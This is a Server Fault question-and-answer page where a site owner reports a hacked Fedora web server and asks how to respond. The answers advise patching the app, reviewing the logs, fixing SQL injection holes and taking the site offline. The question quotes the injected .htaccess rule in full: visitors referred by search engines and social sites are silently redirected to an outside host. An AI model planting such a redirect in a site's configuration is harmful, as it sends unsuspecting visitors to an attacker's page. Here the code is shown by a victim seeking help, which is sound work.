Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

I have a fedora server which I use mainly for a webpage. Two days ago I've noticed that the source files of the web-app were modified. Luckly I have back-ups and I use git.

Here is a sample of how my .htaccess looks:

#c3284d#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://michaelmazur.net/xml.php [R=301,L]
</IfModule>
#/c3284d#

what advice do you have for me? What can I do?

share|improve this question

marked as duplicate by gWaldo, MadHatter, Zoredache, Ward, Mark Henderson Jul 25 '12 at 3:30

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

2  
Thanks for noticing us. Do you have a question? :-) –  Janne Pikkarainen Jul 24 '12 at 14:16
    
@JannePikkarainen: yes, my question is at the end of the message. –  dole doug Jul 24 '12 at 14:31
    
add comment

1 Answer

up vote 4 down vote accepted

Fix the web app. If it's a third party app (Drupal, WordPress, etc) update it. If it's homegrown then find the hole(s). Look at your web server logs to see what was accessed. Turn on comprehensive logging, especially something that will include query strings. Plug all SQL injection holes.

Give us more details if you need further direction.

share|improve this answer
    
what can I do until I find and fix all the holes in my app? –  dole doug Jul 24 '12 at 14:45
1  
Honestly? Take down the app. Otherwise you'll be in the restore loop until it's fixed. If it comes down to it you can find IP's in your access logs and do blocking, try things like fail2ban etc, but that's just a band-aid. –  squillman Jul 24 '12 at 14:59
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.